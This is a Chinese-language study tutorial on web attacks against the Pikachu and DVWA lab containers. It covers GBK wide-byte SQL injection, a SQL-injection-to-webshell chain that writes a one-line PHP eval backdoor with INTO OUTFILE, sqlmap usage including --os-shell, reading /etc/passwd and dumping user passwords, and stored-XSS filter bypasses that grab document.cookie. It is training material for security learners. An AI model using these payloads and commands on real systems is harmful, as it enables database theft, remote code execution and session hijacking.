一 寬位元組注入
利用寬位元組注入實現“庫名-表名”的注入過程。
靶場環境:容器映象:area39/pikachu
寬位元組概念
1、如果一個字元的大小是一個位元組的,稱為窄位元組; 2、如果一個字元的大小是兩個及以上位元組的,稱為寬位元組; 像GB2312、GBK、GB18030、BIG5、Shift_JIS等編碼都是常見的寬位元組字符集。英文預設佔一個位元組,中文佔兩個位元組。 |
寬位元組注入原理
寬位元組注入利用MySQL的一個特性,使用GBK編碼的時候,會認為兩個字元是一個漢字。 |
為了防止網站被SQL隱碼攻擊,網站開發人員會做一些防護措施,其中最常見的就是對一些特殊字元進行轉義。addslashes()函式
1、addslashes() 函式會在預定義字元之前新增反斜線 \ 進行轉義 2、預定義字元:單引號 ' ,雙引號 " ,反斜線 \ ,NULL |
免責宣告 本文僅是個人對SQL隱碼攻擊及相關工具的學習測試過程記錄,不具有惡意引導意向。 |
1.0 簡單示例
以pikachu容器資料picachu中member表為例
SQL語句中以“kobe' and 1=1#”為pyload查詢驗證,手動新增反斜槓“\”模擬addslashes()函式功能,轉義paload中的單引號,查詢結果為空,說明單引號被轉義而使整個payload作為字串並沒有逃逸出原始引號。
1.1 靶場寬位元組注入分析
寬位元組注入利用MySQL的一個特性,使用GBK編碼的時候,會認為兩個字元是一個漢字。 像GB2312、GBK、GB18030、BIG5、Shift_JIS等編碼都是常見的寬位元組字符集。英文預設佔一個位元組,中文佔兩個位元組 |
檢視pikchu庫編碼,確認是否是寬位元組字符集。
show create database pikachu; |
Pikachu庫的編碼並不是寬位元組字符集,但是pikachu靶場存在寬位元組注入 |
靶場寬位元組注入涉及的表 select id,username,email from pikachu.member; |
Picachu前臺存在寬位元組注入靶場,可能因為網站程式碼對客戶的輸入做處理時,設定mysql客戶端來源編碼是gbk,這個設定導致出現寬位元組注入問題。如下截圖程式碼情況:
$set = "set character_set_client=gbk" |
1.2 繞過特殊符號轉義
1.2.1 GBK編碼說明
寬位元組注入利用MySQL的一個特性,使用GBK編碼的時候,會認為兩個字元是一個漢字。 像GB2312、GBK、GB18030、BIG5、Shift_JIS等編碼都是常見的寬位元組字符集。英文預設佔一個位元組,中文佔兩個位元組 |
%de%5c:mysql會解析為藍色框內的字“轡” %df%5c:mysql會解析為藍色框內的字“運” |
1.2.2 URL編碼說明
反斜槓“\”的URL編碼是%5c |
1.3 查詢驗證
1.3.1 payload的猜測
透過靶場頁面輸入內容是username及測試輸出內容,判斷是字元型;透過之前文章中注入型別的payload猜測此場景payload內容如下:
猜測payload: kobe' or 1=1# |
1.3.2 後臺payload驗證
select id,username,email from pikachu.member where username='kobe' or 1=1#'; |
手動新增反斜槓“\”模擬addslashes()功能“自動轉義特殊字元” select id,username,email from pikachu.member where username='kobe\' or 1=1#'; |
使用GBK寬位元組字符集 select id,username,email from pikachu.member where username='kobe%df\' or 1=1#'; 說明:此次查詢為空,沒有逃逸引號,反斜槓轉義生效 |
select id,username,email from pikachu.member where username='kobe%df%5c' or 1=1#'; 說明:把反斜槓轉為URL編碼%5c(實際寬位元組注入中,addslashes()函式自動新增反斜槓轉義payload中的引號,網頁也會把反斜槓轉換成%5c,後續透過burp抓包展示),%df%5c被解析為“運”,這樣addslashes()函式自動新增的反斜槓被GBK寬位元組字符集繞過,引號未被轉義。 |
1.3.3 前臺payload驗證
kobe%df' or 1=1# 前提說明:addslashes()函式會自動新增反斜槓 |
1.3.4 burb抓包
Burb抓包發現%df的%被作為特殊字串轉換為了URL編碼%25;payload中的引號被正常轉為URL編碼%27 |
Burp中手動修改報文把%25df%27糾正為%df%27 |
放行該資料包:intercept is off 靶場頁面正常顯示了寬位元組注入後繞過反斜槓,成功輸出了查詢結果 |
Burp抓的包中修改為%df%5c,執行send傳送,正常查詢出結果 |
1.4 實施爆破
既然%df中的%也會作為特殊字元被URL編碼轉為%25,那麼就透過burp抓包實現爆破;此注入點查詢是輸出兩列值,使用union聯合select 1,2實現爆破,同時輸出兩列值
1.4.1 爆破庫名
Payload:kobe%df' union all select database(),version()# |
1.4.2 爆破錶名
Payload: kobe%df' union all select 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database()# |
show tables; |
後面欄位、數值的注入過程和前一篇文章,直接Union注入查資料庫名、表名、欄位名、欄位值等等,這裡就不再贅述。
二 實現DVWA站點的Getshell
根據mysql資料庫本身的功能(select into outfile),透過SQL隱碼攻擊點實現透過mysql在目標伺服器生成webshell檔案(一句話木馬)
Mysql支援向外寫檔案(這裡的“外”是指伺服器內部),需要用到 select into outfile 命令: 在Mysql資料庫中存在 select into outfile 命令,該命令的作用是將被選擇的一行程式碼寫入一個檔案中,檔案被建立到伺服器上。其中,select into outfile的使用前提是:
(2)對目錄要有寫許可權,一般image之類的存放圖片的目錄有寫許可權; (3)要有mysql file許可權(即能否對系統的檔案讀取和寫操作),預設情況下只有root許可權有; 還要注意:寫的檔名一定是在網站中不存在的,不然會失敗。 |
2.1 後端查詢
select 1,"<?php eval($_POST['a']);?>"; 說明: eval($_POST['a']); $_POST[]:接收method=’POST’中表單的值。 eval():是一種將字串作為PHP程式碼執行的語言結構。 這種函式功能強大,但也非常危險,因為它允許執行任意的PHP程式碼;因此,使用時確保傳入的字串資料是安全可控的,應避免執行任何未經驗證的使用者輸入資料,以防止程式碼注入攻擊。 <?php eval($_POST['a']);?>:一句話木馬 |
select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php'; 說明:把select查詢的記錄寫入指定的目標檔案中 |
2.2 前提查詢
Dvwa靶場中安全等級為LOW的環境中SQL隱碼攻擊場景
Payload:1' union select 1,2# |
原始碼:SELECT first_name, last_name FROM users WHERE user_id = '$id'; |
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#'; |
2.3 組合前後臺語句
透過組合前後端語句,實現透過sql注入點透過mysql在目標伺服器上生成webshell檔案(一句話木馬檔案)
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#'; |
後端:select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'; |
組合前後端語句: SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'#'; |
根據上邊的輸出和SQL語句拼接形態,進一步精簡輸出和改善SQL語句 |
SELECT first_name, last_name FROM users WHERE user_id = '' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'; |
最終:組合後的poyload ' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php 說明:payload左邊的引號閉合原始碼中$id左邊的引號,payload中路徑只寫了左側引號正好和$id右邊的引號形成閉合,這樣就不用再使用#去註釋或逃逸原有的引號 |
前臺提交payload後,前臺無回顯 |
檢視後端檔案 |
2.4 webshell利用
2.4.1 firefox瀏覽器驗證
新增HackBar外掛
Load URL:點選後,自動填充當前瀏覽器頁面的URL 核取方塊:因payload是$_POST方法,此處選擇Post data增加post引數(a=phpinfo();) Execude:基於Load URL 和Post data在此發起請求 |
a=system(pwd); |
2.4.2 蟻劍工具驗證webshell
連線密碼是webshell(一句話木馬)中引數名“a”;透過webshell直接獲取了整個靶場網站的完整目錄 |
三 SqlMap
3.1 常用引數--Target:目標
3.1.1 -u目標URL、--batch、--cookie
-u:目標URL 說明1:只能是GET方法URL,且URL中包含引數,下邊的操作說明一步步說明 說明2:配合--data(3.2.1章節)可以使-u的URL是POST方法,透過--data指定引數 python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" 說明:執行後會構造payload去測試注入 截圖說明:提示沒有發現注入點,why?明明此靶場URL存在注入點 |
--batch python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" --batch 執行過程會有互動式問答,--batch引數交給sqlmap自己判斷應答 說明:提示也是沒有發現注入點,why? 原因:sqlmap也是一個客戶端,雖然-u引數給的是登入後url但是作為一個新客戶端也是需要登入的,跳轉到了登入頁面,而且沒有cookie,下面給個cookie再試 |
獲取一個cookie:在目標URL頁面F12-->document.cookie獲取一個cookie |
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" --batch --cookie "PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low" 說明:提示還是沒有發現注入點,但是已經沒有跳轉到登入提示的問答了,為什麼還是沒有發現注入點? |
注意:注入點是針對的網站的某個輸入,就是某個變數或引數,以上URL中沒有指定引數 python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low" |
支援sqlmap成功發現注入點 |
3.1.2 -m從文字中獲取多個目標掃描
引數:-m 檔案中儲存url格式如下,sqlmap會一個一個檢測(注:URL都代入了引數) |
www.magedu1.com/vuln1.php?q=student www.magedu2.com/vuln2.asp?id=1 www.magedu3.com/vuln3/id/1* (偽靜態) |
3.1.3 -r從檔案中載入HTTP請求
引數:-r 說明:-u引數URL只能是get方法且帶引數,-r引數接收整個請求報文(請求行、請求頭、報文體),所以get|post方法都行,而且sqlmap命令列選項也可少寫一些 sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等)。 比如文字檔案內如下: |
POST/students.php HTTP/1.1 Host:www.magedu.com User-Agent:Mozilla/4.0 id=1 |
示例:(配合burp獲取請求報文) python sqlmap.py -r 1.txt --batch |
1.txt檔案 |
GET /vulnerabilities/sqli/?id=12&Submit=Submit HTTP/1.1 Host: 10.0.0.104:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://10.0.0.104:8080/vulnerabilities/sqli/?id=1&Submit=Submit Cookie: PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low Upgrade-Insecure-Requests: 1 Priority: u=1 |
3.2 常用引數--Request:請求設定
3.2.1 --data 指定引數,使-u可以指定POST請求方法
引數:--data 此引數是把資料以POST方式提交,sqlmap會像檢測GET引數一樣檢測POST引數。(解決3.1.1章節-u引數只能指定GET方法URL問題) |
python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f -- banner --dbs --users |
3.2.2 --scope 利用正則過濾目標網址
引數:--scope |
python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)" |
3.2.3 --safe-url,--safe-freq繞過連續請求錯誤,避免被遮蔽
引數:--safe-url,--safe-freq 有的Web應用程式會在使用者多次傳送訪問錯誤的請求時遮蔽掉之後的所有請求,這樣sqlmap在進行探測或者注入的時候可能造成錯誤請求而觸該策略,導致後續無法進行測試。 |
繞過這個策略有兩種方式: |
--safe-url:提供一個安全不錯誤的連結,每隔一段時間都會去訪問一下。 --safe-freq:提供一個安全不錯誤的連結,每次測試請求之後都會再訪問一遍安全連結。 |
3.3 常用引數--Optimization:最佳化
-o 開啟所有最佳化開關 說明:僅瞭解 |
3.4 常用引數-- Injection:注入
3.4.1 -p,--skip指定|過濾引數
引數:-p,--skip sqlmap預設測試所有的GET和POST引數,當--level的值大於等於2的時候也會測試 HTTP Cookie 頭的值,當大於等於3的時候也會測試 User-Agent 和 HTTP Referer 頭的值。但是使用者可以手動用-p引數指定想要測試的引數。 例如: -p "id,user-anget" 當使用--level的值很大但是有個別引數不想測試的時候可以使用--skip引數。 例如:--skip="user-agent,referer" |
3.4.2 --os指定資料庫伺服器系統
引數:--os 預設情況下sqlmap會自動的探測資料庫伺服器系統,支援的系統有:Linux、Windows |
說明:在預知了目標的作業系統(比如linux),可以透過--os指定,那麼sqlmap就會按照linux準備payload而不必考慮其他平臺payload |
3.4.3 --invalid-bignum指定大數字來使值無效
引數:--invalid-bignum 當使用者想指定一個報錯的數值時,可以使用這個引數,例如id=13,sqlmap預設會取負值變成id=-13來報錯,使用者可以指定比如id=9999999來報錯。 |
說明,在之前的章節使用union聯合注入時有說明,為了避免頁面回顯長度受限而影響需要的內容顯示,把union左側的查詢id值設為“-1”,如果網站做了-1排除,在手工注入或使用sqlmap時考慮使用大數字 |
3.5 常用引數-- Detection:探測等級
注意:level引數定義了sqlmap探測的廣度,risk引數定義了sqlmap探測的深度
--level=LEVEL 執行測試的等級(1-5,預設為1) --risk:(*慎用此引數有風險), 共有四個風險等級(0-3),預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL隱碼攻擊測試。 |
3.5.1 --level=LEVEL探測等級
引數:--level 共有五個等級,預設為1,最大為5,sqlmap使用的payload可以在xml/payloads.xml中看到,使用者也可以根據相應的格式新增自己的payload。 這個引數不僅影響使用哪些payload,同時也會影響測試的注入點,GET和POST的資料都會測試(業務欄位都會測試,不同等級的區別是探索的請求頭欄位不同),HTTPCookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。 總之在不確定哪個payload或者引數為注入點的時候,為了保證全面性,建議使用高的level值(說明:最好使用到3等級,避免安全裝置檢查到掃描或探測行為告警)。 |
3.5.2 --risk風險等級
引數:--risk(慎用) 共有三個風險等級,預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL隱碼攻擊測試。(工作中不能用3等級) 在有些時候,例如在UPDATE/DELETE的語句中,注入一個OR的測試語句(or 1=1),可能導致更新整個表,造成很大的風險。 測試的語句同樣可以在xml/payloads.xml中找到,使用者也可以自行新增payload。 |
3.6 常用引數--Enumeration:列舉資料★★★
python sqlmap.py -hh |
|
Enumeration: 這些選項可用於列舉後端資料庫管理系統資訊、結構和表中的資料 |
|
-a, --all -b, --banner --current-user --current-db --hostname --is-dba --users --passwords --privileges --roles --dbs --tables --columns --schema --count --dump --dump-all --search --comments --statements -D DB -T TBL -C COL -X EXCLUDE -U USER --exclude-sysdbs --pivot-column=P.. --where=DUMPWHERE --start=LIMITSTART --stop=LIMITSTOP --first=FIRSTCHAR --last=LASTCHAR --sql-query=SQLQ.. --sql-shell --sql-file=SQLFILE |
Retrieve everything Retrieve DBMS banner Retrieve DBMS current user Retrieve DBMS current database Retrieve DBMS server hostname Detect if the DBMS current user is DBA Enumerate DBMS users Enumerate DBMS users password hashes Enumerate DBMS users privileges Enumerate DBMS users roles Enumerate DBMS databases Enumerate DBMS database tables Enumerate DBMS database table columns Enumerate DBMS schema Retrieve number of entries for table(s) Dump DBMS database table entries Dump all DBMS databases tables entries Search column(s), table(s) and/or databas Check for DBMS comments during enumeratio Retrieve SQL statements being run on DBMS DBMS database to enumerate DBMS database table(s) to enumerate DBMS database table column(s) to enumerat DBMS database identifier(s) to not enumer DBMS user to enumerate Exclude DBMS system databases when enumer Pivot column name Use WHERE condition while table dumping First dump table entry to retrieve Last dump table entry to retrieve First query output word character to retr Last query output word character to retri SQL statement to be executed Prompt for an interactive SQL shell Execute SQL statements from given file(s) |
3.7 常用引數--File system access:訪問檔案系統
--file-read=RFILE 從後端的資料庫管理系統讀取檔案 --file-write=WFILE 上傳檔案到後端的資料庫管理系統 --file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑 |
3.7.1 --file-read=RFILE從資料庫伺服器中讀取檔案
引數:--file-read 當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式。讀取的檔案可以是文字也可以是二進位制檔案。 |
python sqlmap.py -r 1.txt --batch --file-read="/etc/passwd" 說明:讀取的檔案會放到截圖中的目錄 |
3.7.2 --file-write,--file-dest把檔案上傳到資料庫伺服器中
引數:--file-write,--file-dest 當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式。上傳的檔案可以是文字也可以是二進位制檔案。 |
python sqlmap.py -r 1.txt --batch --file-write="upload_magedu.txt" --file-dest="/var/www/html/upload_magedu.txt" |
3.8 常用引數--訪問作業系統
--os-cmd=OSCMD 執行作業系統命令 --os-shell 互動式的作業系統的shell |
3.8.1 --os-cmd執行作業系統命令
python sqlmap.py -r 1.txt --batch --os-cmd whoami |
python sqlmap.py -r 1.txt --batch --os-cmd pwd |
3.8.2 --os-shell互動式的作業系統的shell
python sqlmap.py -r 1.txt --batch --os-shell |
3.9 常用引數--獲取資料
3.9.1 --dump,-C,-T,-D,--start,--stop,--first,--last獲取整個表的資料
引數:--dump,-C,-T,-D,--start,--stop,--first,--last 如果當前管理員有許可權讀取資料庫其中一個表的話,那麼就能獲取整個表的所有內容。 使用-D,-T引數指定想要獲取哪個庫的哪個表,不使用-D引數時,預設使用當前庫。 可以獲取指定庫中的所有表的內容,只用--dump跟-D引數(不使用-T與-C引數),也可以用-dump跟-C獲取指定的欄位內容。 --dump的本質也是把爆破出的內容寫入了本地快取檔案中 說明:滲透測試,獲取有哪些漏洞型別即可,點到為止,不用繼續爆資料,除非是攻防演練為了獲得高分 |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 1 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 2 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 3 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 4 說明:從截圖中看出,--stop N選項是針對第一個列名排序後的前N行的輸出 |
ython sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --start 2 --stop 4 說明:從截圖中看出,--start M --stop N選項是針對第一個列名排序後的前M->N行的輸出 |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --start 2 說明:從截圖中看出,--start M 選項是針對第一個列名排序後的M行到結尾行的輸出 |
3.9.2 --dump-all,--exclude-sysdbs獲取所有資料庫表的內容
引數:--dump-all,--exclude-sysdbs 使用--dump-all引數獲取所有資料庫表的內容,可同時加上--exclude-sysdbs排除系統資料庫,只獲取使用者資料庫的表,即業務資料。 說明:滲透測試,獲取有哪些漏洞型別即可,點到為止,不用繼續爆資料,除非是攻防演練為了獲得高分 |
python sqlmap.py -r 1.txt --batch --dump-all --exclude-sysdbs |
3.9.3 --search,-C,-T,-D搜尋欄位,表,資料庫
引數:--search,-C,-T,-D --search可以用來尋找特定的資料庫名,所有資料庫中的特定表名,所有資料庫表中的特定欄位。 可以在以下三種情況下使用: |
-C後跟著用逗號分割的列名,將會在所有資料庫表中搜尋指定的列名。 -T後跟著用逗號分割的表名,將會在所有資料庫中搜尋指定的表名 -D後跟著用逗號分割的庫名,將會在所有資料庫中搜尋指定的庫名。 說明:滲透測試,獲取有哪些漏洞型別即可,點到為止,不用繼續爆資料,除非是攻防演練為了獲得高分 |
如下dvwa庫的兩張表都有user欄位 |
python sqlmap.py -r 1.txt --batch -D dvwa -C user --search 說明:指定了庫名dvwa和欄位名user,沒有指定表名,會查詢dvwa庫中所有表(如果有user欄位的話)中的user欄位 |
四 SqlMap實際利用
使用Sqlmap工具完成對DVWA資料庫的注入過程,按照庫、表、列、內容的順序進行注入;
判斷注入點,因系統需要登入所以要加cookie;可以透過-u指定帶引數的URL並指定cookie 或 透過-r指定請求報文(包含了cookie)
說明:sqlmap 滲透測試,獲取有哪些漏洞型別即可,點到為止,不用繼續爆資料,除非是攻防演練為了獲得高分。
4.1 爆破庫名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" --dbs 說明1:探測出了該URL存在的注入型別 說明2:--dbs選項探測出了庫名列表 |
4.2 爆破錶名
選擇dvwa庫探測表名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa --tables |
4.3 爆破欄位名
選擇dvwa庫users表中的欄位名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa -T users --columns |
4.4 爆破資料
選擇dvwa庫users表中的欄位last_name和password
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa -T users -C last_name,password --dump |
五 DVWA靶場儲存型XSS的漏洞練習
5.1 XSS分類和區別
反射型XSS、儲存型XSS及DOM型XSS是跨站指令碼攻擊(XSS)的三種主要型別,它們在攻擊方式、指令碼儲存位置、影響範圍及觸發條件等方面存在顯著差異。以下是對這三種XSS攻擊型別的詳細比較: |
||
①反射型XSS(Reflected XSS) |
②儲存型XSS(Stored XSS) |
③DOM型XSS(DOM-based XSS) |
攻擊方式: 攻擊者透過傳送包含惡意指令碼的URL給使用者,並誘使使用者點選該連結。 當使用者點選連結時,伺服器會將惡意指令碼反射到響應中,並執行該指令碼,從而達到攻擊目的。 |
攻擊方式: 攻擊者透過注入惡意指令碼到網站的資料庫或檔案系統中。 當其他使用者瀏覽受影響的頁面時,惡意指令碼將從伺服器端獲取並執行,危害使用者隱私和安全。 |
攻擊方式: 惡意程式碼直接在客戶端(瀏覽器)中透過JavaScript動態生成和插入到DOM中,導致惡意指令碼執行。 |
指令碼儲存位置: 反射型XSS的惡意指令碼並不會永久儲存在伺服器上,而是在伺服器響應中動態生成的。 |
指令碼儲存位置: 惡意指令碼或HTML程式碼被永久地注入到伺服器的資料庫或檔案系統中。 |
指令碼儲存位置: 惡意程式碼不經過伺服器,直接在客戶端生成和執行。 |
影響範圍: 通常只對點選惡意連結的使用者造成影響,並且僅限於單個請求和響應過程。 |
影響範圍: 可以影響到所有訪問受影響頁面的使用者,因為惡意指令碼已經永久儲存在伺服器上 |
影響範圍: 取決於攻擊者如何構造惡意URL和受害者如何與頁面互動。 |
觸發條件: 需要使用者點選特定的惡意連結才能觸發攻擊。 |
觸發條件: 使用者無需進行任何特定的互動,只要訪問受影響的頁面即可觸發攻擊。 |
觸發條件: 使用者訪問惡意URL時,客戶端JavaScript程式碼會讀取並處理這些輸入,動態地修改DOM並執行惡意指令碼。 |
防禦措施: 對使用者輸入的資料進行嚴格的驗證和過濾。 對輸出到HTML上的資料進行適當的編碼,如HTML實體編碼、URL編碼等。 使用安全的庫和框架來處理使用者輸入。 |
防禦措施: 對使用者輸入的資料進行嚴格的驗證和過濾。 對輸出到HTML上的資料進行適當的編碼。 定期檢查並清理資料庫和檔案系統中的惡意指令碼。 使用安全的會話管理機制。 |
防禦措施: 儘量避免直接使用使用者輸入的資料。 對使用者輸入的資料進行嚴格驗證和過濾。 使用安全的DOM操作方法,如textContent或innerText,而不是innerHTML。 配置內容安全策略(CSP),限制瀏覽器執行未授權的指令碼。 |
總結 ①觸發方式:反射型XSS需要使用者點選特定的惡意連結;儲存型XSS則無需使用者互動,只要使用者訪問受影響的頁面;DOM型XSS透過使用者訪問惡意URL並在客戶端執行JavaScript程式碼。 ②指令碼儲存位置:反射型XSS的惡意指令碼在伺服器響應中動態生成;儲存型XSS的惡意指令碼永久儲存在伺服器上;DOM型XSS的惡意程式碼不經過伺服器。 ③影響範圍:反射型XSS通常影響單個使用者;儲存型XSS可能影響所有訪問受影響頁面的使用者;DOM型XSS的影響範圍取決於攻擊者的構造和受害者的互動。 |
5.2 練習示例
在DVWA靶場在LOW,Medium,High安全等級聯絡儲存型XSS
靶場:類似 留言板 |
Name和Messabe都可以測試使用者輸入,分別在不同安全等級測試如下JS,檢視效果 說明:可透過F12檢視器檢視原始碼 <script>alert(1)</script> <sCriPt>alert(1)</scRipt> <sc<script>ript>alert(document.cookie)</script> <img src=## onerror=alert(document.cookie)> |